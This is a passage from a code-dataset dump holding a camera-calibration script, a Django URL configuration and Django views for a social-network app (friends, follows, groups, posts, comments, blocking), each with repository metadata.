file_name in os.listdir(calibration_dir):\n if file_name.endswith(\".xml\"):\n file_path = os.path.join(calibration_dir, file_name)\n calibration_data.append(file_path) # Just saving file paths.\n return calibration_data\n\n# Now, I'm loading the data for real.\nextrinsic_data = load_extrinsic_calibration_data(extrinsic_dir) # Loading the extrinsic data.\nintrinsic_original_data = load_calibration_data(intrinsic_original_dir) # Loading original distortion data.\nintrinsic_zero_data = load_calibration_data(intrinsic_zero_dir) # And zero distortion data.\n\n# I'm getting ready to save camera-specific stuff.\ncamera_matrices = [] # I think this is for the camera's properties.\ndist_coeffs_original = [] # This is distortion for the original data.\ndist_coeffs_zero = [] # And this is for the zero distortion.\nrotation_vectors = [] # These are like angles.\ntranslation_vectors = [] # These are for positions.\n\n# Time to load data for all the cameras.\nfor i in range(len(extrinsic_data)):\n # First, I'm grabbing the camera matrix for the original distortion.\n camera_matrix = intrinsic_original_data[i].getNode('camera_matrix').mat()\n camera_matrices.append(camera_matrix)\n\n # Now, I'm taking the distortion coefficients for the original data.\n dist_coeff_original = intrinsic_original_data[i].getNode('distortion_coefficients').mat()\n dist_coeffs_original.append(dist_coeff_original)\n\n # Same thing, but for zero distortion.\n dist_coeff_zero = intrinsic_zero_data[i].getNode('distortion_coefficients').mat()\n dist_coeffs_zero.append(dist_coeff_zero)\n\n # Now, I'm dealing with extrinsic data, like the camera's position and orientation.\n extrinsic_tree = ET.parse(os.path.join(extrinsic_data[i])) # I'm reading an XML file.\n extrinsic_root = extrinsic_tree.getroot() # I think this is the main part of the XML.\n\n # I'm getting the rotation and translation vectors.\n rvec = [float(x) for x in extrinsic_root.find('rvec').text.split()] # They're in the XML.\n tvec = [float(x) for x in extrinsic_root.find('tvec').text.split()] # Splitting and converting to numbers.\n\n # I'm saving those vectors.\n rotation_vectors.append(rvec)\n translation_vectors.append(tvec)\n\n# Finally, I'm going to show all the data I collected.\nprint(\"Camera Matrices:\") # Printing camera properties.\nprint(camera_matrices)\nprint(\"\\nDistortion Coefficients (Original):\") # Printing original distortion data.\nprint(dist_coeffs_original)\nprint(\"\\nDistortion Coefficients (Zero Distortion):\") # Printing zero distortion data.\nprint(dist_coeffs_zero)\nprint(\"\\nRotation Vectors (rvec):\") # Printing rotation angles.\nprint(rotation_vectors)\nprint(\"\\nTranslation Vectors (tvec):\") # And the camera positions.\nprint(translation_vectors)\n", "repo_name": "umangpurwar03/CCTV-Person-ReID-MultiCam", "sub_path": "calibration.py", "file_name": "calibration.py", "file_ext": "py", "file_size_in_byte": 4542, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "os.path.join", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "cv2.FileStorage", "line_number": 28, "usage_type": "call"}, {"api_name": "cv2.FILE_STORAGE_READ", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 67, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 67, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path", "line_number": 67, "usage_type": "attribute"}]} +{"seq_id": "14294933926", "text": "from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\nfrom . import views\n\nurlpatterns = patterns('',\n url(r'^$', views.index, name='index'),\n url(r'^home/', views.home, name='home'),\n url(r'^admin/', include(admin.site.urls)),\n url(r'^polls/', include('polls.urls')),\n url(r'^users/', include('smartmin.users.urls')),\n url(r'^smartminmodels/', include('smartminmodels.urls'))\n )\n", "repo_name": "katmutua/rapidpro-smartmin", "sub_path": "djangotest/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 565, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "django.conf.urls.patterns", "line_number": 5, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 6, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 7, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 8, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 8, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 8, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 8, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 9, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 10, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 10, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 11, "usage_type": "call"}]} +{"seq_id": "9285852767", "text": "from django.views.generic import CreateView, UpdateView, View, DeleteView\nfrom django.urls import reverse_lazy\nfrom profiles.models import Profile\nfrom .models import Friendship, Follow, Group, GroupPost, GroupMembership, MessageGroup, Block, GroupComment, GroupReply\nfrom .forms import FriendshipForm, FollowForm, GroupForm, GroupPostForm, GroupCommentForm, GroupReplyForm\nfrom django.contrib.auth import get_user_model\nfrom django.shortcuts import get_object_or_404, redirect, render\nfrom django.http import Http404, HttpResponseRedirect, JsonResponse, HttpResponseNotFound\nfrom django.db.models import Q\nfrom django.contrib.auth.decorators import login_required\nfrom django.utils.decorators import method_decorator\n\n\nUser = get_user_model()\n# views.py\n\n@login_required(login_url='/auth/login/')\ndef Group_Posts(request, group_id):\n # Lấy thông tin nhóm dựa trên group_id\n group = Group.objects.get(id=group_id)\n friends = User.objects.filter(\n Q(friendships1__user2=request.user, friendships1__status='friends') |\n Q(friendships2__user1=request.user, friendships2__status='friends')\n ).exclude(\n # Loại bỏ người dùng đã chặn người dùng hiện tại\n id__in=Block.objects.filter(blocker=request.user).values('blocked_user')\n ).exclude(\n # Loại bỏ người dùng đã bị người dùng hiện tại chặn\n id__in=Block.objects.filter(blocked_user=request.user).values('blocker')\n ).exclude(\n # Loại bỏ người dùng hiện tại\n pk=request.user.id\n ).distinct()\n \n # Lấy tất cả bài viết thuộc nhóm đó\n following = Follow.objects.filter(followee=request.user).values_list('follower', flat=True)\n posts = GroupPost.objects.filter(Q(group=group) & Q(author = request.user) |Q(author__in=following) | Q(author__in=friends)).exclude(\n author__in=Block.objects.filter(blocker=request.user).values_list('blocked_user__id', flat=True)\n ).exclude( Q(group_comments__user__in=Block.objects.filter(blocker=request.user).values_list('blocked_user__id', flat=True)) |\n Q(group_comments__group_replies__user__in=Block.objects.filter(blocker=request.user).values_list('blocked_user__id', flat=True))).order_by('-created_at')\n\n # danh sách người dùng tham gia nhóm\n members = User.objects.filter(groupmembership__group=group).exclude(\n # Loại bỏ người dùng đã bị người dùng hiện tại chặn\n id__in=Block.objects.filter(blocked_user=request.user).values('blocker')\n ).exclude(\n # Loại bỏ người dùng đã chặn người dùng hiện tại\n id__in=Block.objects.filter(blocker=request.user).values('blocked_user')\n ).distinct()\n\n user_groups = GroupMembership.objects.filter(user=request.user, status='approved')\n # danh sách nhóm đã tham gia \n groups_joined = GroupMembership.objects.filter(user=request.user, status='approved').values_list('group', flat=True)\n # danh sách nhóm bị từ chối\n groups_rejected = GroupMembership.objects.filter(user=request.user, status='rejected').values('group')\n # danh sách nhom chưa tham gia\n if not groups_joined:\n groups_not_joined = Group.objects.all()\n else:\n groups_not_joined = Group.objects.all().exclude(\n Q(id__in=groups_joined) | Q (id__in = groups_rejected)\n )\n # kiểm tra là thành viên của nhóm\n is_member = GroupMembership.objects.filter(user=request.user, group=group,status='approved').exists()\n # trạng thái\n status = GroupMembership.objects.get(user=request.user, group=group).status if is_member else None\n\n # hiển thị thông báo\n groups = Group.objects.filter(creator=request.user)\n memberships = GroupMembership.objects.filter(\n group__in=groups,\n status='requested'\n )\n # Lấy các group_ids mà có thông báo\n group_ids_with_messages = memberships.values_list('group', flat=True)\n messages = MessageGroup.objects.all()\n\n # edit group post\n group_post_list = GroupPost.objects.all().order_by('-created_at')\n post_forms = []\n for post in group_post_list:\n current_post = GroupPost.objects.get(id=post.id)\n form = GroupPostForm(instance=current_post)\n \n # Thêm biểu mẫu của bài viết hiện tại vào danh sách\n post_forms.append({'post': current_post, 'form': form})\n\n # current_group = get_object_or_404(GroupPost, id=group_id)\n group_form = GroupForm(instance=group)\n\n\n profiles = Profile.objects.all()\n\n #danh sách bạn bè\n suggest_friends = User.objects.exclude(\n # Loại bỏ người dùng là bạn của người dùng hiện tại\n Q(friendships1__user2=request.user, friendships1__status='friends') |\n Q(friendships2__user1=request.user, friendships2__status='friends')\n ).exclude(\n # Loại bỏ người dùng đã chặn người dùng hiện tại\n id__in=Block.objects.filter(blocker=request.user).values('blocked_user')\n ).exclude(\n # Loại bỏ người dùng đã bị người dùng hiện tại chặn\n id__in=Block.objects.filter(blocked_user=request.user).values('blocker')\n ).exclude(\n # Loại bỏ người dùng hiện tại\n pk=request.user.id\n )\n \n invite_friends = Friendship.objects.filter(\n Q(user2=request.user, status='pending')\n ).order_by('-created_at')\n\n \n\n context = {\n 'group': group,\n 'posts': posts,\n 'groups_joined':user_groups,\n 'groups_not_joined':groups_not_joined,\n 'is_member':is_member,\n 'members':members,\n 'status':status,\n 'messages':messages,\n 'post_forms':post_forms,\n 'group_form':group_form,\n 'profiles':profiles,\n 'friends':friends,\n 'invite_friends':invite_friends,\n 'suggest_friends':suggest_friends,\n }\n \n return render(request, 'group_posts.html', context)\n\n\n\n@method_decorator(login_required(login_url='/auth/login/'), name='dispatch')\nclass SendFriendRequestView(CreateView):\n model = Friendship\n form_class = FriendshipForm\n\n def dispatch(self, request, *args, **kwargs):\n user_block_list = Block.objects.filter(blocker = self.request.user)\n user2 = get_object_or_404(User, pk=kwargs['user_id'])\n user1 = request.user\n is_user2_blocked = Block.objects.filter(Q(blocked_user=user2, blocker = user1)|Q(blocked_user=user1, blocker = user2)).exists()\n if not is_user2_blocked:\n friendship, created = Friendship.objects.get_or_create(\n user1=user1,\n user2=user2,\n defaults={'status': 'pending'}\n )\n Follow.objects.create(\n followee = user1,\n follower= user2\n )\n if created:\n # Yêu cầu kết bạn được tạo mới\n pass # Bạn có thể thêm mã xử lý tại đây nếu cần\n else:\n # Yêu cầu kết bạn đã tồn tại\n pass # Bạn có thể thêm mã xử lý tại đây nếu cần\n\n else:\n Friendship.objects.filter(Q(user1=request.user, user2=user2) | Q(user1=user2, user2=request.user)).delete()\n\n # Xóa mối quan hệ theo dõi nếu có\n Follow.objects.filter(follower=user2, followee=request.user).delete()\n return render(request, 'error.html')\n\n return redirect(reverse_lazy('profiles:profile', kwargs={'pk': user2.id}))\n \n\n def get_success_url(self):\n # Phương thức này không còn cần thiết nữa, vì chúng ta đã xử lý mọi thứ trong dispatch\n pass\n\n\n@method_decorator(login_required(login_url='/auth/login/'), name='dispatch')\nclass AcceptFriendRequestView(UpdateView):\n model = Friendship\n form_class = FriendshipForm\n\n def post(self, request, *args, **kwargs):\n friendship = get_object_or_404(Friendship, pk=kwargs['pk'])\n \n # Đảm bảo rằng người dùng hiện tại là người nhận yêu cầu kết bạn\n if friendship.user2 == request.user and friendship.status == 'pending':\n friendship.status = 'friends'\n friendship.save()\n\n # Tạo một đối tượng Friendship mới cho người dùng khác\n new_friendship = Friendship.objects.create(\n user1=friendship.user2,\n user2=friendship.user1,\n status='friends'\n )\n # Follow.objects.create(\n # followee = friendship.user1,\n # follower= friendship.user2\n # )\n elif friendship.user1 == request.user:\n # Người dùng hiện tại là người đã gửi yêu cầu kết bạn, \n # họ không thể chấp nhận yêu cầu kết bạn của chính họ\n return render(request, 'error.html')\n else:\n # Người dùng hiện tại không liên quan đến yêu cầu kết bạn này\n return render(request, 'error.html')\n\n # return redirect(reverse_lazy('profiles:profile', kwargs={'pk': friendship.user1.pk}))\n return redirect('home')\n \n def get_success_url(self):\n # Phương thức này không còn cần thiết nữa, vì chúng ta đã xử lý mọi thứ trong post\n pass\n\nclass RejectFriendRequestView(CreateView):\n def post(self, request, pk):\n friend_request = get_object_or_404(Friendship, id=pk)\n friend_request.delete()\n\n return HttpResponseRedirect(request.META.get('HTTP_REFERER', '/'))\n \n\nclass CancelFriendRequestView(View):\n def post(self, request, pk):\n # Tìm kiếm yêu cầu kết bạn dựa trên id\n friend_request = get_object_or_404(Friendship, id=pk)\n follow = get_object_or_404(Follow,followee = friend_request.user1,\n follower= friend_request.user2)\n # Kiểm tra xem người dùng hiện tại có liên quan đến yêu cầu kết bạn không\n if request.user == friend_request.user1 or request.user == friend_request.user2:\n # Xóa yêu cầu kết bạn\n friend_request.delete()\n follow.delete()\n # Nếu yêu cầu kết bạn đã được chấp nhận, thì xóa cả đối tượng Friendship mới\n if friend_request.status == 'friends':\n Friendship.objects.filter(user1=friend_request.user2, user2=friend_request.user1).delete()\n\n # Chuyển hướng đến trang profile hoặc nơi khác phù hợp\n return redirect('profiles:profile', pk=friend_request.user2.id)\n\nclass FollowUserView(View):\n def dispatch(self, request, *args, **kwargs):\n _follower = get_object_or_404(User, pk=kwargs['user_id'])\n follower, created = Follow.objects.get_or_create(follower=_follower, followee=request.user)\n return redirect(reverse_lazy('profiles:profile', kwargs={'pk': _follower.pk}))\n\nclass UnfollowUserView(View):\n def dispatch(self, request, *args, **kwargs):\n try:\n _follower = get_object_or_404(User, pk=kwargs['user_id'])\n follower = Follow.objects.get(follower=_follower, followee=request.user)\n follower.delete()\n except Follow.DoesNotExist:\n return render(request, 'error.html')\n\n return redirect(reverse_lazy('profiles:profile', kwargs={'pk': _follower.pk}))\n\n\n\n# Group \n\n@method_decorator(login_required(login_url='/auth/login/'), name='dispatch')\nclass CreateGroup(CreateView):\n template_name = 'groups.html'\n\n def get(self, request):\n form = GroupForm() # Tạo một mẫu trống để hiển thị\n return render(request, self.template_name, {'form': form})\n\n def post(self, request):\n form = GroupForm(request.POST, request.FILES) # Truyền dữ liệu từ POST và FILES vào mẫu\n if form.is_valid():\n group = form.save(commit=False) # Lưu nhóm vào cơ sở dữ liệu\n group.creator = self.request.user\n group.save()\n GroupMembership.objects.create(user=self.request.user, group=group)\n return redirect('social:group_posts', group_id=group.id) # Chuyển hướng đến trang bài viết của nhóm vừa tạo\n\n return render(request, self.template_name, {'form': form})\n \n\n@method_decorator(login_required(login_url='/auth/login/'), name='dispatch')\nclass DeleteGroup(View):\n def post(self, request, group_id):\n group = get_object_or_404(Group, id=group_id)\n if request.user.id == group.creator.id:\n group.delete()\n return redirect('group') # Điều hướng sau khi xóa\n\n def get(self, request, group_id):\n group = get_object_or_404(Group, id=group_id)\n if request.user.id == group.creator.id:\n group.delete()\n return redirect('group')\n\n@method_decorator(login_required(login_url='/auth/login/'), name='dispatch')\nclass EditGroup(View):\n def post(self, request, group_id):\n group = get_object_or_404(Group, id=group_id)\n form = GroupForm(request.POST, request.FILES, instance=group)\n\n if form.is_valid():\n form.save()\n return HttpResponseRedirect(request.META.get('HTTP_REFERER', '/'))\n return redirect('group',{'form': form, 'group': group})\n \n\n@method_decorator(login_required(login_url='/auth/login/'), name='dispatch')\nclass CreateGroupPostView(CreateView):\n model = GroupPost\n form_class = GroupPostForm\n template_name = 'create_group_post.html'\n\n def form_valid(self, form):\n group_id = self.kwargs.get('group_id')\n group = get_object_or_404(Group, id=group_id)\n if group.members.filter(id=self.request.user.id).exists():\n post = form.save(commit=False)\n post.group = group\n post.author = self.request.user\n post.save()\n\n message = MessageGroup.objects.create(\n group=group,\n user=self.request.user,\n message=f\"Đã thêm bài viết mới: {post.title}\",\n post=post\n )\n else:\n return HttpResponseNotFound(\"không thể thêm bài viết\")\n return super().form_valid(form)\n \n def get_success_url(self):\n group_id = self.kwargs.get('group_id')\n return reverse_lazy('social:group_posts', args=[group_id])\n\n@method_decorator(login_required(login_url='/auth/login/'), name='dispatch')\nclass DeleteGroupPost(View):\n def post(self, request, post_id):\n post = get_object_or_404(GroupPost, id=post_id)\n if request.user == post.user or request.user == post.group.creator:\n post.delete()\n message = MessageGroup.objects.create(\n group=post.group,\n user=self.request.user,\n message=f\"Đã xóa bài viết: {post.title}\",\n post=post\n )\n return HttpResponseRedirect(request.META.get('HTTP_REFERER', '/'))\n \n def get(self, request, post_id):\n post = get_object_or_404(GroupPost, id=post_id)\n if request.user == post.author or request.user == post.group.creator:\n post.delete()\n\n return redirect('group')\n\n# edit post\n@method_decorator(login_required(login_url='/auth/login/'), name='dispatch')\nclass EditGroupPostView(View):\n\n def post(self, request, post_id):\n post = get_object_or_404(GroupPost, id=post_id)\n form = GroupPostForm(request.POST, request.FILES, instance=post)\n\n if form.is_valid():\n form.save()\n return HttpResponseRedirect(request.META.get('HTTP_REFERER', '/'))\n return redirect('group',{'form': form, 'post': post})\n\n@method_decorator(login_required(login_url='/auth/login/'), name='dispatch')\nclass ManageGroupMembershipView(CreateView):\n def post(self, request, group_id, user_id, action):\n group = get_object_or_404(Group, id=group_id)\n user = get_object_or_404(User, id=user_id)\n if request.user == group.creator:\n membership = GroupMembership.objects.get(user=user, group=group)\n if action == 'approve':\n membership.status = 'approved'\n elif action == 'reject':\n membership.status = 'rejected'\n membership.save()\n return redirect('social:group_posts', group_id=group.id)\n\n@method_decorator(login_required(login_url='/auth/login/'), name='dispatch')\nclass JoinGroupView(CreateView):\n def get(self, request, group_id):\n group = get_object_or_404(Group, id=group_id)\n membership, created = GroupMembership.objects.get_or_create(user=request.user, group=group)\n message = f\"{request.user.username} đã yêu cầu tham gia nhóm {group.name}\"\n if not MessageGroup.objects.filter(user=request.user, group=group, message=message).exists():\n MessageGroup.objects.create(user=request.user, group=group, message=message)\n if created:\n membership.status = 'requested'\n membership.save()\n \n # Kiểm tra xem người dùng hiện tại có phải là người tạo nhóm hay không\n if request.user == group.creator:\n return redirect('social:membership-requests', group_id=group.id)\n else:\n # Lựa chọn một URL bạn muốn chuyển hướng người dùng trong trường hợp người tạo nhóm không thấy thông báo.\n # Ví dụ: return redirect('social:group_posts', group_id=group.id)\n return redirect('social:group_posts', group_id=group_id) \n\n@method_decorator(login_required(login_url='/auth/login/'), name='dispatch')\nclass LeaveGroupView(CreateView):\n def post(self, request,user_id, group_id):\n group = get_object_or_404(Group, id=group_id)\n user = get_object_or_404(User,id=user_id)\n if request.user == group.creator:\n membership = GroupMembership.objects.get(user=user, group_id=group_id)\n membership.delete() # Xóa mối quan hệ của người dùng với nhóm\n \n return redirect('social:group_posts', group_id=group_id) \n\n if request.user == user:\n membership = GroupMembership.objects.get(user=user, group_id=group_id)\n membership.delete() # Xóa mối quan hệ của người dùng với nhóm\n return redirect('group') \n \n def get(self, request,user_id, group_id):\n group = get_object_or_404(Group, id=group_id)\n user = get_object_or_404(User,id=user_id)\n if request.user == group.creator:\n membership = GroupMembership.objects.get(user=user, group_id=group_id)\n membership.delete() # Xóa mối quan hệ của người dùng với nhóm\n \n return redirect('social:group_posts', group_id=group_id) \n\n if request.user == user:\n membership = GroupMembership.objects.get(user=user, group_id=group_id)\n membership.delete() # Xóa mối quan hệ của người dùng với nhóm\n return redirect('group') \n\n# like\n@login_required(login_url='/auth/login/')\ndef Like_Post(request, post_id):\n post = get_object_or_404(GroupPost, pk=post_id)\n liked = False\n \n # Kiểm tra xem người dùng hiện tại đã thích bài viết chưa.\n if request.user.is_authenticated:\n if request.user in post.likes.all():\n post.likes.remove(request.user) # Nếu đã thích, loại bỏ thích.\n else:\n post.likes.add(request.user) # Nếu chưa thích, thêm thích.\n liked = True\n \n response_data = {\n 'liked': liked,\n 'total_likes': post.likes.count()\n }\n \n return JsonResponse(response_data)\n\n# comment group\n# Comment\n@method_decorator(login_required(login_url='/auth/login/'), name='dispatch')\nclass AddCommentView(View):\n def post(self, request, post_id):\n post = GroupPost.objects.get(pk=post_id)\n form = GroupCommentForm(request.POST, request.FILES) \n if form.is_valid():\n comment = form.save(commit=False)\n comment.post = post\n comment.user = request.user\n comment.save() \n\n # Trả về phản hồi JSON với thông tin comment mới (nếu cần)\n # response_data = {\n # 'comment_id': comment.id,\n # 'content': comment.content,\n # 'user': comment.user.username,\n # 'created_at': comment.created_at.strftime('%Y-%m-%d %H:%M:%S'),\n # }\n # return JsonResponse(response_data)\n\n # return JsonResponse({'error': 'Invalid form data'})\n return HttpResponseRedirect(request.META.get('HTTP_REFERER', '/'))\n return redirect('group')\n \n# delete comment\n@method_decorator(login_required(login_url='/auth/login/'), name='dispatch')\nclass DeleteCommentView(View):\n def post(self, request, comment_id):\n comment = GroupComment.objects.get(pk=comment_id)\n\n if request.user == comment.user:\n comment.delete()\n\n response_data = {'message': 'Comment deleted successfully'}\n return JsonResponse(response_data)\n \n def get(self, request, comment_id):\n return JsonResponse({'error': 'Only POST method is allowed'})\n \n\n# edit comment\n@method_decorator(login_required(login_url='/auth/login/'), name='dispatch')\nclass EditCommentView(View):\n def post(self, request, comment_id):\n comment = get_object_or_404(GroupComment, pk=comment_id)\n\n if request.user == comment.user:\n form = GroupCommentForm(request.POST, request.FILES, instance=comment)\n\n if form.is_valid():\n form.save()\n \n return HttpResponseRedirect(request.META.get('HTTP_REFERER', '/'))\n else:\n return HttpResponseRedirect(request.META.get('HTTP_REFERER', '/'))\n \n\n# Reply\n@method_decorator(login_required(login_url='/auth/login/'), name='dispatch')\nclass DeleteReplyView(View):\n def post(self, request, reply_id):\n reply = GroupReply.objects.get(pk=reply_id)\n\n if request.user == reply.user:\n reply.delete()\n response_data = {'message': 'Comment deleted successfully'}\n return JsonResponse(response_data)\n \n def get(self, request, reply_id):\n reply = GroupReply.objects.get(pk=reply_id)\n\n if request.user == reply.user:\n reply.delete()\n response_data = {'message': 'Comment deleted successfully'}\n return JsonResponse(response_data)\n\n\n@method_decorator(login_required(login_url='/auth/login/'), name='dispatch')\nclass EditReplyView(View):\n def post(self, request, reply_id):\n reply = get_object_or_404(GroupReply, pk=reply_id)\n\n if request.user == reply.user:\n form = GroupReplyForm(request.POST, instance=reply)\n\n if form.is_valid():\n form.save()\n return HttpResponseRedirect(request.META.get('HTTP_REFERER', '/'))\n else:\n return HttpResponseRedirect(request.META.get('HTTP_REFERER', '/'))\n \n\n@method_decorator(login_required(login_url='/auth/login/'), name='dispatch')\nclass AddReplyView(View):\n def post(self, request, comment_id):\n comment = get_object_or_404(GroupComment, pk=comment_id)\n reply_form = GroupReplyForm(request.POST)\n\n if reply_form.is_valid():\n content = reply_form.cleaned_data['content']\n user = request.user # Lấy người dùng hiện tại\n reply = GroupReply(content=content, comment=comment, user=user)\n reply.save()\n return HttpResponseRedirect(request.META.get('HTTP_REFERER', '/'))\n return HttpResponseRedirect(request.META.get('HTTP_REFERER', '/'))\n\n\n\n\n# block user\n@login_required\ndef block_user(request, user_id):\n blocked_user = User.objects.get(pk=user_id)\n\n Friendship.objects.filter(Q(user1=request.user, user2=blocked_user) | Q(user1=blocked_user, user2=request.user)).delete()\n\n # Xóa mối quan hệ theo dõi nếu có\n Follow.objects.filter(follower=blocked_user, followee=request.user).delete()\n\n # Kiểm tra xem đã có trong danh sách chặn chưa\n if not Block.objects.filter(blocker=request.user, blocked_user=blocked_user).exists():\n Block.objects.create(blocker=request.user, blocked_user=blocked_user)\n \n return redirect('profiles:profile', pk=user_id)\n\n@login_required\ndef unblock_user(request, user_id):\n blocked_user = User.objects.get(pk=user_id)\n Friendship.objects.filter(Q(user1=request.user, user2=blocked_user) | Q(user1=blocked_user, user2=request.user)).delete()\n\n # Xóa mối quan hệ theo dõi nếu có+\n Follow.objects.filter(follower=blocked_user, followee=request.user).delete()\n\n # Kiểm tra xem đã chặn chưa\n try:\n block_entry = Block.objects.get(blocker=request.user, blocked_user=blocked_user)\n block_entry.delete() # Xóa bản ghi chặn nếu tồn tại\n except Block.DoesNotExist:\n pass # Nếu không tìm thấy bản ghi chặn, không cần làm gì cả\n\n\n return redirect('profiles:profile', pk=user_id)", "repo_name": "LuongTienThinh/django-socialmedia", "sub_path": "socialmedia/social/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 25518, "program_lang": "python", "lang": "vi", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "django.contrib.auth.get_user_model", "line_number": 14, "usage_type": "call"}, {"api_name": "models.Group.objects.get", "line_number": 20, "usage_type": "call"}, {"api_name": "models.Group.objects", "line_number": 20, "usage_type": "attribute"}, {"api_name": "models.Group", "line_number": 20, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 22, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 23, "usage_type": "call"}, {"api_name": "models.Block.objects.filter", "line_number": 26, "usage_type": "call"}, {"api_name": "models.Block.objects", "line_number": 26, "usage_type": "attribute"}, {"api_name": "models.Block", "line_number": 26, "usage_type": "name"}, {"api_name": "models.Block.objects.filter", "line_number": 29, "usage_type": "call"}, {"api_name": "models.Block.objects", "line_number": 29, "usage_type": "attribute"}, {"api_name": "models.Block", "line_number": 29, "usage_type": "name"}, {"api_name": "models.Follow.objects.filter", "line_number": 36, "usage_type": "call"}, {"api_name": "models.Follow.objects", "line_number": 36, "usage_type": "attribute"}, {"api_name": "models.Follow", "line_number": 36, "usage_type": "name"}, {"api_name": "models.GroupPost.objects.filter", "line_number": 37, "usage_type": "call"}, {"api_name": "models.GroupPost.objects", "line_number": 37, "usage_type": "attribute"}, {"api_name": "models.GroupPost", "line_number": 37, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 37, "usage_type": "call"}, {"api_name": "models.Block.objects.filter", "line_number": 38, "usage_type": "call"}, {"api_name": "models.Block.objects", "line_number": 38, "usage_type": "attribute"}, {"api_name": "models.Block", "line_number": 38, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 39, "usage_type": "call"}, {"api_name": "models.Block.objects.filter", "line_number": 39, "usage_type": "call"}, {"api_name": "models.Block.objects", "line_number": 39, "usage_type": "attribute"}, {"api_name": "models.Block", "line_number": 39, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 40, "usage_type": "call"}, {"api_name": "models.Block.objects.filter", "line_number": 40, "usage_type": "call"}, {"api_name": "models.Block.objects", "line_number": 40, "usage_type": "attribute"}, {"api_name": "models.Block", "line_number": 40, "usage_type": "name"}, {"api_name": "models.Block.objects.filter", "line_number": 45, "usage_type": "call"}, {"api_name": "models.Block.objects", "line_number": 45, "usage_type": "attribute"}, {"api_name": "models.Block", "line_number": 45, "usage_type": "name"}, {"api_name": "models.Block.objects.filter", "line_number": 48, "usage_type": "call"}, {"api_name": "models.Block.objects", "line_number": 48, "usage_type": "attribute"}, {"api_name": "models.Block", "line_number": 48, "usage_type": "name"}, {"api_name": "models.GroupMembership.objects.filter", "line_number": 51, "usage_type": "call"}, {"api_name": "models.GroupMembership.objects", "line_number": 51, "usage_type": "attribute"}, {"api_name": "models.GroupMembership", "line_number": 51, "usage_type": "name"}, {"api_name": "models.GroupMembership.objects.filter", "line_number": 53, "usage_type": "call"}, {"api_name": "models.GroupMembership.objects", "line_number": 53, "usage_type": "attribute"}, {"api_name": "models.GroupMembership", "line_number": 53, "usage_type": "name"}, {"api_name": "models.GroupMembership.objects.filter", "line_number": 55, "usage_type": "call"}, {"api_name": "models.GroupMembership.objects", "line_number": 55, "usage_type": "attribute"}, {"api_name": "models.GroupMembership", "line_number": 55, "usage_type": "name"}, {"api_name": "models.Group.objects.all", "line_number": 58, "usage_type": "call"}, {"api_name": "models.Group.objects", "line_number": 58, "usage_type": "attribute"}, {"api_name": "models.Group", "line_number": 58, "usage_type": "name"}, {"api_name": "models.Group.objects.all", "line_number": 60, "usage_type": "call"}, {"api_name": "models.Group.objects", "line_number": 60, "usage_type": "attribute"}, {"api_name": "models.Group", "line_number": 60, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 61, "usage_type": "call"}, {"api_name": "models.GroupMembership.objects.filter", "line_number": 64, "usage_type": "call"}, {"api_name": "models.GroupMembership.objects", "line_number": 64, "usage_type": "attribute"}, {"api_name": "models.GroupMembership", "line_number": 64, "usage_type": "name"}, {"api_name": "models.GroupMembership.objects.get", "line_number": 66, "usage_type": "call"}, {"api_name": "models.GroupMembership.objects", "line_number": 66, "usage_type": "attribute"}, {"api_name": "models.GroupMembership", "line_number": 66, "usage_type": "name"}, {"api_name": "models.Group.objects.filter", "line_number": 69, "usage_type": "call"}, {"api_name": "models.Group.objects", "line_number": 69, "usage_type": "attribute"}, {"api_name": "models.Group", "line_number": 69, "usage_type": "name"}, {"api_name": "models.GroupMembership.objects.filter", "line_number": 70, "usage_type": "call"}, {"api_name": "models.GroupMembership.objects", "line_number": 70, "usage_type": "attribute"}, {"api_name": "models.GroupMembership", "line_number": 70, "usage_type": "name"}, {"api_name": "models.MessageGroup.objects.all", "line_number": 76, "usage_type": "call"}, {"api_name": "models.MessageGroup.objects", "line_number": 76, "usage_type": "attribute"}, {"api_name": "models.MessageGroup", "line_number": 76, "usage_type": "name"}, {"api_name": "models.GroupPost.objects.all", "line_number": 79, "usage_type": "call"}, {"api_name": "models.GroupPost.objects", "line_number": 79, "usage_type": "attribute"}, 